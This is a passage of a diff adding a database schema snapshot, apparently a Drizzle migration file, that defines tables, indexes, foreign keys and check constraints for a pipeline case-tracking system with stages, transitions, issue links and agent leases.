+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
